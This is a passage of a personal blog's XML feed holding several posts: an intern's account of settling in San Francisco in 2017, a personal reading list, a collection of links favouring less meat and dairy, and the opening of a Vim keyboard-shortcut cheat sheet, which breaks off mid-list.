&lt;li&gt;Rijeka Crnojevica, Montenegro&lt;/li&gt;
&lt;li&gt;Petra, Jordan&lt;/li&gt;
&lt;/ul&gt;</content><category term="About me"></category><category term="travel"></category></entry><entry><title>Living In The USA</title><link href="https://romainpellerin.eu/living-in-the-usa.html" rel="alternate"></link><published>2017-01-30T16:55:00+01:00</published><updated>2022-09-24T12:11:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2017-01-30:/living-in-the-usa.html</id><summary type="html">&lt;p&gt;My life in the USA since I moved there in January 2017.&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;strong&gt;Friday, January 27, 2017&lt;/strong&gt;: I took off from Paris CDG, headed to San Francisco, California. I traveled with WOW Air and had a 2-hour layover in Iceland. We flew over Greenland and Northern Canada. Stunning landscapes!&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/living-usa/greenland.jpg" alt="Greenland" /&gt;
&lt;figcaption&gt;Greenland&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/living-usa/nothern_canada.jpg" alt="Northern Canada" /&gt;
&lt;figcaption&gt;Northern Canada&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;As I am writing these lines, I already moved in in my new home for the next 6 months: a room in a shared apartment, located between the University of San Francisco and the &lt;a href="https://en.wikipedia.org/wiki/Painted_ladies"&gt;Painted Ladies&lt;/a&gt;. We are only two people living in this apartment. The neighborhood is mostly residential. I am close to many grocery stores, very convenient! Moreover, there is an awesome neighborhood located within a walkable distance, called Hayes Valley, which is supposedly the French neighborhood. Indeed, there is a significant number of French businesses (restaurants, a &lt;em&gt;boulangerie&lt;/em&gt;, etc.). The area is known for its artistic shops.&lt;/p&gt;
&lt;p&gt;So, what's the purpose of my trip there? Well, I will be interning at a French company who recently (2013) opened offices in San Francisco to expand their business. This internship is the last step required for me to graduade.&lt;/p&gt;
&lt;p&gt;In this article, I will explain and describes my daily life there. Hence, this article will be updated on a regular basis.&lt;/p&gt;
&lt;h1 id="places-i-want-to-visitthings-i-want-to-do-while-im-there"&gt;Places I want to visit/Things I want to do while I'm there&lt;/h1&gt;
&lt;p&gt;First, I want to take advantage of being in California to travel a bit and expand my knowledge of the American culture. So, I'd like to do and see:&lt;/p&gt;
&lt;h2 id="in-san-francisco"&gt;In San Francisco&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Go see whales&lt;/li&gt;
&lt;li&gt;&lt;s&gt;Alcatraz&lt;/s&gt;&lt;/li&gt;
&lt;li&gt;Coit Tower&lt;/li&gt;
&lt;li&gt;&lt;s&gt;A jazz club (I went to Mr. Tipple's Recording Studio)&lt;/s&gt;&lt;/li&gt;
&lt;li&gt;San Francisco National Cemetery&lt;/li&gt;
&lt;li&gt;&lt;s&gt;Explore the golden gate park (especially the Japanese stuff)&lt;/s&gt;&lt;/li&gt;
&lt;li&gt;&lt;s&gt;Walk on the Golden Gate Bridge&lt;/s&gt;&lt;/li&gt;
&lt;li&gt;Attend a baseball game&lt;/li&gt;
&lt;li&gt;&lt;s&gt;Go to a concert venue&lt;/s&gt; (I went to a stand up comedy show)&lt;/li&gt;
&lt;li&gt;Attend an ice hockey match&lt;/li&gt;
&lt;li&gt;&lt;s&gt;Chinatown&lt;/s&gt;&lt;/li&gt;
&lt;li&gt;&lt;s&gt;Japantown&lt;/s&gt;&lt;/li&gt;
&lt;li&gt;&lt;s&gt;Union Square&lt;/s&gt;&lt;/li&gt;
&lt;li&gt;&lt;s&gt;Grand Hyatt (Love sign)&lt;/s&gt;&lt;/li&gt;
&lt;li&gt;&lt;s&gt;Twin Peaks&lt;/s&gt;&lt;/li&gt;
&lt;li&gt;&lt;s&gt;Mission Dolores Park&lt;/s&gt;&lt;/li&gt;
&lt;li&gt;&lt;s&gt;Baker Beach&lt;/s&gt;&lt;/li&gt;
&lt;li&gt;Bernal Heights Park&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="los-angeles"&gt;Los Angeles&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;s&gt;The pier which appeared in La La Land&lt;/s&gt;&lt;/li&gt;
&lt;li&gt;The jazz clubs from La La Land (I got to see the Light House cafe from the outside)&lt;/li&gt;
&lt;li&gt;Long Beach&lt;/li&gt;
&lt;li&gt;&lt;s&gt;SpaceX (Hawthorne)&lt;/s&gt;&lt;/li&gt;
&lt;li&gt;&lt;s&gt;Malibu&lt;/s&gt;&lt;/li&gt;
&lt;li&gt;&lt;s&gt;Griffith Observatory&lt;/s&gt;&lt;/li&gt;
&lt;li&gt;&lt;s&gt;Santa Monica (go to the pier)&lt;/s&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="las-vegas"&gt;Las Vegas&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;s&gt;The Roller Coaster (New York-New York Hotel)&lt;/s&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="other"&gt;Other&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Stanford University&lt;/li&gt;
&lt;li&gt;&lt;s&gt;Yosemite National Park&lt;/s&gt;&lt;/li&gt;
&lt;li&gt;&lt;s&gt;Brice Canyon&lt;/s&gt;&lt;/li&gt;
&lt;li&gt;&lt;s&gt;Zion National Park&lt;/s&gt;&lt;/li&gt;
&lt;li&gt;&lt;s&gt;Sequoia National Park&lt;/s&gt;&lt;/li&gt;
&lt;li&gt;Sonoran desert&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;Let us now talk about my first few days on the American soil.&lt;/p&gt;
&lt;h1 id="cell-phone-plans"&gt;Cell phone plans&lt;/h1&gt;
&lt;p&gt;When I started looking for cell phone plans, I quickly realized how expensive they are here in the US. There are basically four big companies driving the market (known as the Big Four), namely T-Mobile, Verizon, AT&amp;amp;T and Sprint. Appart from them, there are dozens of MVNOs operating on the Big Four's networks. Note that in America, there are different kind of technlogies in use. The two most common ones are CDMA and GSM. In Europe, the huge majority of people rely on GSM. However, phones are nowadays compatible with both technologies (at least the newest phones).&lt;/p&gt;
&lt;p&gt;At first, I wanted to go with MetroPCS, an MVNO which uses T-Mobile as a host network. I wasn't entirely sure my phone would work with CDMA, and since MetroPCS (and T-Mobile) are based on GSM, it sounded like a good plan. Plus they have a $30 plan with everything unlimited (including data at 3G speed) and 3GB of 4G. Decent. Turned out that, for some reason, my phone did not detect their SIM card so I ended up with T-Mobile and a $40 plan which offers pretty much the same features.&lt;/p&gt;
&lt;p&gt;Compared to my 20€ all unlimited plan with 50GB of 4G, back in France, well that's damn expensive.&lt;/p&gt;
&lt;h1 id="housing"&gt;Housing&lt;/h1&gt;
&lt;p&gt;Not as bad as it is in Amsterdam (in 2015 I had to find a place there, a total disaster) but yet quite complicated. I found my room on &lt;a href="http://www.craigslist.com/"&gt;www.craigslist.com&lt;/a&gt;, which I would definitely recommend. I read somewhere that &lt;a href="http://www.easyroommate.com/"&gt;www.easyroommate.com&lt;/a&gt; is not bad either.&lt;/p&gt;
&lt;p&gt;Luckily, my appointment to see the room was on the day following my arrival, so I was able to move in that very same day.&lt;/p&gt;
&lt;h1 id="bedding"&gt;Bedding&lt;/h1&gt;
&lt;p&gt;However, my "landlord" could not provide me with bed sheets. He however suggested that I go to ROSS to get some, since they are fairly cheap there. I had a hard time figuring out how bed sheet sizes work in the US. I learned the hard way that they go by weird names: King, Queen, Full to name a few.&lt;/p&gt;
&lt;figure class="center"&gt;
    &lt;img src="https://romainpellerin.eu/images/living-usa/mattress-size.png" alt="Mattress sizes" /&gt;
    &lt;figcaption&gt;Taken from &lt;a href="https://www.mattresscloseouts.com/mattresses/mattresses-by-size/queen.html"&gt;this website&lt;/a&gt;&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Eventually, I managed to buy bed sheets; I even learned a lot of vocabulary. For instance &lt;em&gt;drap housse&lt;/em&gt; translates to &lt;em&gt;fitted sheet&lt;/em&gt;, that's good to know!&lt;/p&gt;
&lt;h1 id="banking"&gt;Banking&lt;/h1&gt;
&lt;p&gt;In the US, they have not only banks but also credit unions. Confusing at first, I googled the difference. I think I'll choose a credit union to get an account.&lt;/p&gt;
&lt;p&gt;Essentially, a credit union is non-profit, so it has lower fees.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Edit:&lt;/em&gt; yay I just got my first american debit card! Out of all the credit unions available in San Francisco, I picked Redwood Credit Union. They don't charge any fees as long as I maintain a balance of $75 on my savings account, and I can withdraw money from "other" ATMS three times a month for free. That's perfect for me! They also offer online banking for free... but their website is like 10 years old. Not user-friendly whatsoever. But I don't mind :)&lt;/p&gt;
&lt;h1 id="taxes-in-the-us"&gt;Taxes in the US&lt;/h1&gt;
&lt;p&gt;It is still a total mystery to me. Apparently, most people pay too much taxes and they can get back a part of it, at the beginning of each year. Below are a few links giving more details about that:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://gaelleinlosangeles.com/bien-remplir-w-4/"&gt;Bien remplir son W-4&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://gaelleinlosangeles.com/preparer-son-tax-return/"&gt;Préparer son tax return&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://gaelleinlosangeles.com/faire-son-tax-return/"&gt;Faire son tax return&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="grocery-shopping"&gt;Grocery shopping&lt;/h1&gt;
&lt;p&gt;Finally, one needs to know that shopping is insane here in America. They have drugstores featuring pharmacies, what a weird concept for a Frenchman like me! Some of them are as big as supermarkets. They also have actual supermarkets and convenience stores. Target, Safeway, CVS, Walgreens, Trader's Joe, you name it! I'm still trying to figure out which one is the cheapest though.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Edit:&lt;/em&gt; I went to Trader Joe's a couple of times. &lt;a href="http://gaelleinlosangeles.com/passion-trader-joes/"&gt;I really like it&lt;/a&gt;. I think I'll stick with it.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;That's it for now. Stay tuned!&lt;/p&gt;
&lt;h1 id="fun-stuff-to-do-in-san-francisco"&gt;Fun stuff to do in San Francisco&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.7x7.com/where-to-watch-movies-outside-this-summer-1787120123.html"&gt;Where to Watch Movies Outside This Summer&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.calacademy.org/nightlife"&gt;NightLife at the California Academia of Sciences&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.lindyinthepark.com/about/free-lesson/"&gt;Lindy in the Park’s FREE beginner’s lesson every Sunday 12 to 12:30 p.m.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://sf.funcheap.com/events/"&gt;San Francisco Events &amp;amp; Things to Do&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.notfortourists.com/Overview.aspx/SanFrancisco/Nightlife"&gt;San Francisco / Nightlife&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="complementary-information"&gt;Complementary information&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://gaelleinlosangeles.com/transfert-dargent/"&gt;Transfert d’argent&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://gaelleinlosangeles.com/differences-insolites-france-etats-unis/"&gt;Différences insolites France / Etats Unis&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://gaelleinlosangeles.com/les-differences-france-etats-unis-part-ii/"&gt;Les différences France / Etats-Unis, Part II&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://gaelleinlosangeles.com/to-do-list/"&gt;To-Do List&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.eexit.net/usa-preparer-son-stage-pour-les-etats-unis/"&gt;USA: Préparer son stage pour les États-Unis&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Miscellaneous"></category><category term="housing"></category><category term="usa"></category><category term="living"></category></entry><entry><title>Books</title><link href="https://romainpellerin.eu/books.html" rel="alternate"></link><published>2017-01-26T16:50:00+01:00</published><updated>2025-04-06T23:09:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2017-01-26:/books.html</id><summary type="html">&lt;p&gt;Books I have read&lt;/p&gt;</summary><content type="html">&lt;h1 id="june-2012-july-2019"&gt;June 2012 - July 2019&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The Walking Dead&lt;/strong&gt; (comic books), &lt;em&gt;by Robert Kirkman&lt;/em&gt; and &lt;em&gt;Charlie Adlard&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="2016"&gt;2016&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The New Digital Age: Reshaping the Future of People, Nations and Business&lt;/strong&gt;, &lt;em&gt;by Eric Schmidt and Jared Cohen&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Elon Musk: How the Billionaire CEO of SpaceX and Tesla is Shaping our Future&lt;/strong&gt;, by &lt;em&gt;Ashlee Vance&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;1984&lt;/strong&gt;, &lt;em&gt;by George Orwell&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Universal War One&lt;/strong&gt; (all volumes), by &lt;em&gt;Denis Bajram&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Universal War Two&lt;/strong&gt; (volumes 1 &amp;amp; 2), by &lt;em&gt;Denis Bajram&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Zombies&lt;/strong&gt; and &lt;strong&gt;Zombies Néchronologies&lt;/strong&gt;, by &lt;em&gt;Sophian Cholet&lt;/em&gt;, &lt;em&gt;Simon Champelovier&lt;/em&gt; and &lt;em&gt;Olivier Peru&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="2017"&gt;2017&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Animal Farm&lt;/strong&gt;, &lt;em&gt;by George Orwell&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Universal War Two&lt;/strong&gt; (volume 3), by &lt;em&gt;Denis Bajram&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;One Day&lt;/strong&gt;, by &lt;em&gt;David Nicholls&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Here's Negan&lt;/strong&gt;, &lt;em&gt;by Robert Kirkman&lt;/em&gt; and &lt;em&gt;Charlie Adlard&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Love Is Love&lt;/strong&gt;, comic &lt;em&gt;published by DW Publishing, in collaboration with DC Entertainment&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="2018"&gt;2018&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Shangri-la&lt;/strong&gt;, &lt;em&gt;by Mathieu Bablet&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;La Belle Mort&lt;/strong&gt;, &lt;em&gt;by Mathieu Bablet&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Descender&lt;/strong&gt; (comic books), by &lt;em&gt;Jeff Lemire&lt;/em&gt; and &lt;em&gt;Dustin Nguyen&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Delivering Happiness: A Path to Profits, Passion, and Purpose&lt;/strong&gt;, &lt;em&gt;by Tony Hsieh&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Orcs et Gobelins 1 &amp;amp; 2&lt;/strong&gt; (comic books), &lt;em&gt;by Jean-Luc Istin, Diogo Saïto, Sylvain Cordurié &amp;amp; Giovanni Lorusso&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;La Horde du Contrevent 1&lt;/strong&gt; (comic book), &lt;em&gt;by Éric Henninot&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;And a few "first issue" comic books, including Outcast, Riverdale, The Wicked + The Divine, Infinite Dark, Blackbird&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="comics-i-started-reading-that-year"&gt;Comics I started reading that year&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Paper Girls&lt;/strong&gt;, by &lt;em&gt;Brian K. Vaughan&lt;/em&gt; and &lt;em&gt;Cliff Chiang&lt;/em&gt;, ended in 2019&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Low&lt;/strong&gt;, &lt;em&gt;by Rick Remender and Greg Tocchini&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Die!Die!Die!&lt;/strong&gt;, by &lt;em&gt;Robert Kirkman&lt;/em&gt; and &lt;em&gt;Scott M. Gimple&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Saga&lt;/strong&gt;, by &lt;em&gt;Brian K. Vaughan&lt;/em&gt; and &lt;em&gt;Fiona Staples&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="2019"&gt;2019&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The Lean Startup&lt;/strong&gt;, by &lt;em&gt;Eric Ries&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Le code du cycliste&lt;/strong&gt;, by &lt;em&gt;Ludovic Duprey&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Guide des aménagements cyclables&lt;/strong&gt;, by &lt;em&gt;Paris en Selle&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Stoner&lt;/strong&gt;, by &lt;em&gt;John Edward Williams&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="comics-i-started-reading-that-year_1"&gt;Comics I started reading that year&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Ascender&lt;/strong&gt; (comic books), by &lt;em&gt;Jeff Lemire&lt;/em&gt; and &lt;em&gt;Dustin Nguyen&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="20232024"&gt;2023/2024&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Hyperion&lt;/strong&gt;, by &lt;em&gt;Dan Simmon&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="2024"&gt;2024&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The Culture Map&lt;/strong&gt;, by Erin Meyer&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="20242025"&gt;2024/2025&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Be Useful: Seven Tools for Life&lt;/strong&gt;, by Arnold Schwarzenegger&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="to-read"&gt;To read&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.numerama.com/pop-culture/531136-7-romans-de-science-fiction-deprimants-et-geniaux-a-lire-avant-la-fin-du-monde.html"&gt;7 romans de science-fiction déprimants et géniaux à lire avant la fin du monde&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Goodbye, Things: The New Japanese Minimalism&lt;/li&gt;
&lt;li&gt;Winners Take All: The Elite Charade of Changing the World&lt;/li&gt;
&lt;li&gt;It Doesn't Have to Be Crazy at Work&lt;/li&gt;
&lt;li&gt;World War Z&lt;/li&gt;
&lt;li&gt;The Subtle Art of Not Giving a F*ck: A Counterintuitive Approach to Living a Good Life&lt;/li&gt;
&lt;li&gt;Les misérables Tome V - Jean Valjean (French Edition)&lt;/li&gt;
&lt;li&gt;Les Misérables: Tome IV (Volume 4) (French Edition)&lt;/li&gt;
&lt;li&gt;Les Miserables: Tome III - MARIUS (French Edition)&lt;/li&gt;
&lt;li&gt;Les misérables: Tome 2 Cosette (Volume 2) (French Edition)&lt;/li&gt;
&lt;li&gt;Les Misérables: Tome 1 : Fantine (French Edition)&lt;/li&gt;
&lt;li&gt;Germinal (French Edition)&lt;/li&gt;
&lt;li&gt;Together Is Better: A Little Book of Inspiration&lt;/li&gt;
&lt;li&gt;On the Shortness of Life: Life Is Long if You Know How to Use It (Penguin Great Ideas)&lt;/li&gt;
&lt;li&gt;The Pragmatic Programmer: From Journeyman to Master&lt;/li&gt;
&lt;li&gt;The Clean Coder: A Code of Conduct for Professional Programmers&lt;/li&gt;
&lt;li&gt;Clean Code: A Handbook of Agile Software Craftsmanship&lt;/li&gt;
&lt;li&gt;McGraw-Hill's Conversational American English: The Illustrated Guide to Everyday Expressions of American English (McGraw-Hill ESL References)&lt;/li&gt;
&lt;li&gt;How to Sound Really Clever&lt;/li&gt;
&lt;li&gt;How the French Think: An Affectionate Portrait of an Intellectual People&lt;/li&gt;
&lt;li&gt;2001: a Space Odyssey (Space Odyssey Series)&lt;/li&gt;
&lt;li&gt;An Astronaut's Guide to Life on Earth: What Going to Space Taught Me About Ingenuity, Determination, and Being Prepared for Anything&lt;/li&gt;
&lt;li&gt;Work Rules!: Insights from Inside Google That Will Transform How You Live and Lead&lt;/li&gt;
&lt;/ul&gt;</content><category term="About me"></category><category term="books"></category><category term="comics"></category></entry><entry><title>Meat and Dairy Products</title><link href="https://romainpellerin.eu/meat-and-dairy-products.html" rel="alternate"></link><published>2017-01-19T01:50:00+01:00</published><updated>2023-10-27T16:03:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2017-01-19:/meat-and-dairy-products.html</id><summary type="html">&lt;p&gt;A bunch of links in favor of lesser comsumption of meat and dairy products.&lt;/p&gt;</summary><content type="html">&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.theguardian.com/environment/2010/jun/02/un-report-meat-free-diet"&gt;UN urges global move to meat and dairy-free diet&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.cowspiracy.com/"&gt;COwSPIRACY: the film that environmental organizations don't want you to see!&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.sciencepresse.qc.ca/actualite/detecteur-rumeurs/2017/03/22/4500-litres-eau-steak-vrai"&gt;4500 litres d'eau dans mon steak ? Vrai&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/channel/UCYNldGFnfcDE8ItayYf7izg"&gt;EATING OUR WAY TO EXTINCTION&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.insolente-veggie.com/ce-que-10-ans-de-vegetalisme-ont-fait-a-mon-corps/"&gt;Ce que 10 ans de végétalisme ont fait à mon corps.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blogs.mediapart.fr/florence-dellerie/blog/140218/veganisme-vegetalisme-ce-que-dit-la-science"&gt;Véganisme, végétalisme : ce que dit la science&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/Qcd4VIkCI3k?rel=0" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;

&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/90rDcZM2vL8?rel=0" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;

&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/X4pM6cqE3ZU?rel=0" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;

&lt;p&gt;The video above says at 6'45, that meat brings nothing to the body that cannot be found elsewhere, except for "better" iron. Iron coming from meat is better absorbed by the body, but too much iron might be linked to accrued cancer risks.&lt;/p&gt;
&lt;h1 id="related-topics"&gt;Related topics&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://backchannel.com/inside-one-founders-personal-fast-club-dea3a3592123"&gt;Phil Libin Hasn’t Eaten Since Sunday&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="What's bad about"></category><category term="meat"></category><category term="dairy"></category><category term="milk"></category><category term="pollution"></category></entry><entry><title>Vim Tricks</title><link href="https://romainpellerin.eu/vim-tricks.html" rel="alternate"></link><published>2017-01-18T22:50:00+01:00</published><updated>2021-01-19T23:50:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2017-01-18:/vim-tricks.html</id><summary type="html">&lt;p&gt;A few tricks for Vim that I have learned over all my years of using this incredible tool.&lt;/p&gt;</summary><content type="html">&lt;h1 id="left-right-and-up-down-motions"&gt;Left-right and up-down motions&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;h&lt;/code&gt;, &lt;code&gt;j&lt;/code&gt;, &lt;code&gt;k&lt;/code&gt;, &lt;code&gt;l&lt;/code&gt;: left, down, up, right&lt;/li&gt;
&lt;li&gt;&lt;code&gt;^e&lt;/code&gt;: scoll window down (ctrl + e)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;^y&lt;/code&gt;: scroll window up&lt;/li&gt;
&lt;li&gt;&lt;code&gt;^f&lt;/code&gt;: scroll down one page&lt;/li&gt;
&lt;li&gt;&lt;code&gt;^b&lt;/code&gt;: scroll up one page&lt;/li&gt;
&lt;li&gt;&lt;code&gt;H&lt;/code&gt;: move cursor to the top&lt;/li&gt;
&lt;li&gt;&lt;code&gt;M&lt;/code&gt;: move cursor to the middle&lt;/li&gt;
&lt;li&gt;&lt;code&gt;L&lt;/code&gt;: move cursor to the bottom&lt;/li&gt;
&lt;li&gt;&lt;code&gt;gg&lt;/code&gt;: top of file&lt;/li&gt;
&lt;li&gt;&lt;code&gt;G&lt;/code&gt;: bottom of file&lt;/li&gt;
&lt;li&gt;&lt;code&gt;t&amp;lt;char&amp;gt;&lt;/code&gt;: till some character&lt;/li&gt;
&lt;li&gt;&lt;code&gt;T&amp;lt;char&amp;gt;&lt;/code&gt;: till some character (backward)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;f&amp;lt;char&amp;gt;&lt;/code&gt;: find forward (it will include the found character, unlike till)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;F&amp;lt;char&amp;gt;&lt;/code&gt;: find backward&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="text-objects-motions"&gt;Text objects motions&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;n&amp;gt; w&lt;/code&gt;: n words forward (n is optional)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;b&lt;/code&gt;: beginning of word&lt;/li&gt;
&lt;li&gt;&lt;code&gt;e&lt;/code&gt;: end of word&lt;/li&gt;
&lt;li&gt;&lt;code&gt;{&lt;/code&gt;: beginning of paragraph&lt;/li&gt;
&lt;li&gt;&lt;code&gt;}&lt;/code&gt;: end of paragraph&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="text-objects-only-in-visual-mode-or-after-an-operator"&gt;Text objects (only in visual mode or after an operator)&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;s&lt;/code&gt;: sentences&lt;/li&gt;
&lt;li&gt;&lt;code&gt;p&lt;/code&gt;: paragraphs&lt;/li&gt;
&lt;li&gt;&lt;code&gt;t&lt;/code&gt;: tags (html/xml only)&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="copying-and-moving-text-inserting-text"&gt;Copying and moving text / Inserting text&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;d{motion}&lt;/code&gt;: delete/cut (&lt;code&gt;dd&lt;/code&gt; to delete entire line)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;p&lt;/code&gt;: paste (a line that was cut for instance)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;c&lt;/code&gt;: change (replace)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;D&lt;/code&gt; / &lt;code&gt;C&lt;/code&gt;: delete/change until end of line&lt;/li&gt;
&lt;li&gt;&lt;code&gt;y{motion{&lt;/code&gt;: yank (&lt;code&gt;yy&lt;/code&gt; to copy entire line)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;gt;&lt;/code&gt;: indent&lt;/li&gt;
&lt;li&gt;&lt;code&gt;^&lt;/code&gt;: go to beginning of line&lt;/li&gt;
&lt;li&gt;&lt;code&gt;$&lt;/code&gt;: go to end of line&lt;/li&gt;
&lt;li&gt;&lt;code&gt;I&lt;/code&gt;: go to beginning of line and enter insert mode&lt;/li&gt;
&lt;li&gt;&lt;code&gt;A&lt;/code&gt;: go to end of line and enter insert mode&lt;/li&gt;
&lt;li&gt;&lt;code&gt;o&lt;/code&gt;: add a new line below and enter insert mode&lt;/li&gt;
&lt;li&gt;&lt;code&gt;O&lt;/code&gt;: add a new line above and enter insert mode&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="examples"&gt;Examples&lt;/h2&gt;
&lt;p&gt;General rule: &lt;code&gt;[optional number to repeat]{command}{text object or motion}&lt;/code&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;diw&lt;/code&gt;: delete in word&lt;/li&gt;
&lt;li&gt;&lt;code&gt;caw&lt;/code&gt;: change all word (all will grab surrounding whitespaces)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;yi(&lt;/code&gt;: yank all text inside parentheses&lt;/li&gt;
